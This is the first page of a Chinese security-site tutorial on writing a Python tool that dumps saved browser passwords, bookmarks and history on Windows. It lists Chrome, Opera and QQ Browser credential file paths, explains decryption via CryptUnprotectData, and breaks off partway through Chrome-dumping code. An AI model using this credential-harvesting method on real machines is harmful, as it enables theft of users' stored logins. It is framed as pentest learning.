欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

动手打造自己的渗透工具(浏览器篇)

来源:本站整理 作者:cDdubz8 时间:2016-12-08 TAG: 我要投稿

前言
早就听闻FreeBuf评论区大神多,作为一个菜鸟,在极度惶恐下发表这篇文章只为抛砖引玉,让众多萌新开阔视野。
本文将会演示怎样使用Python导出Windows系统上浏览器保存的密码、书签、浏览历史等敏感数据。由于时间和个人能力关系,所涉及的浏览器种类、版本有限,还望有大神不吝赐教。
环境搭建
首先Python环境是必不可少的,强烈推荐使用32位2.7版本(即使你的系统是64位),可免去不少麻烦!
然后你需要安装以下库(使用pip快速安装)。
pywin32
#下载对应版本并安装
https://sourceforge.net/projects/pywin32/files/pywin32/
shutil:
#(非必要,在本文所含代码中仅用来拷贝文件,可使用以下代码代替)
import os
os.system('copy file directory')
pyasn1:
#(必要,除非你想造轮子)
pip install pyasn1
#测试安装是否成功
from pyasn1.codec.der import decoder
PyCrypto::
#请确保你使用的Python是32位的,不然会遇到兼容问题
#请确保你下载了Visual Studio Community 2015 : https://www.visualstudio.com/zh-hans/downloads/
#安装VS的时候请确保勾选Visual C++,Python Tools for Visual Studio
#在“..python安装路径...\Lib\distutils目录下有个msvc9compiler.py找到243行 
                  toolskey = "VS%0.f0COMNTOOLS" % version   直接改为 toolskey = "VS140COMNTOOLS"
pip install pycrypto
#测试是否安装成功
from Crypto.Cipher import DES3
#报错的话,先卸载
pip uninstall pycrypto
#再选择对应编译版下载后安装: http://www.voidspace.org.uk/python/modules.shtml#pycrypto
#以上可解决99%安装不成功的问题,还有1%是文件夹名大小写问题
Chrome、Opera和QQ浏览器
首先,找到浏览器保存数据库的位置
#默认位置在:Chrome:C:\Users\当前用户名\AppData\Local\Google\Chrome\User Data\Default
#           Opera: C:\Users\当前用户名\AppData\Roaming\Opera Software\Opera Stable
#           QQ   : C:\Users\当前用户名\AppData\Local\Tencent\QQBrowser\User Data\Default
#          登录QQ后:C:\Users\hasee-pc\AppData\Local\Tencent\QQBrowser\User Data\Default\QQ号码
#保存的密码:Chrome&Opera:Login Data
#             QQ Browser:EncryptedStorage
#书签:Bookmarks
#浏览历史:History
#使用Python获取路径
import os
os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\Default')
分析数据库
可以使用一款名叫DB Browser的程序查看数据库结构(http://sqlitebrowser.org/)。
以下为Chrome Login Data结构:

 
打开文件后,选择Browser Data即可看到储存的数据,其中password_value已加密,可使用win32crypt.CryptUnprotectData()解密
https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx
解密
注意,当Chrome在运行的时候,数据库会无法访问,这时候可以把数据库拷贝到一个临时文件夹,读取完成后再删除即可。完整代码如下:
#Dump saved password from Chrome
import os
import shutil
import win32crypt
class Chrome:
    def get_pwd(self):
        path_tab = [
            os.path.expanduser('~\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data'),
            os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data')
        ]
        data_path = [path for path in path_tab if os.path.exists(path)]
        if not data_path:
            debug_info = '[-]Chrome data not found.'
            return
        #More than 1 path valid
        if len(data_path) != 1:
            data_path = data_path[0]
        #Copy file Login Data to avoid locking
        try:
            shutil.copy(data_path, os.getcwd() + '\\' + 'db_copy') #os.sep = \\
            data_path = os.getcwd() + '\\' + 'db_copy'
        except Exception,e:
            debug_info = '[-]An error occured when copying Login Data:' + e
        try:

[1] [2] [3] [4] [5] [6] [7]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载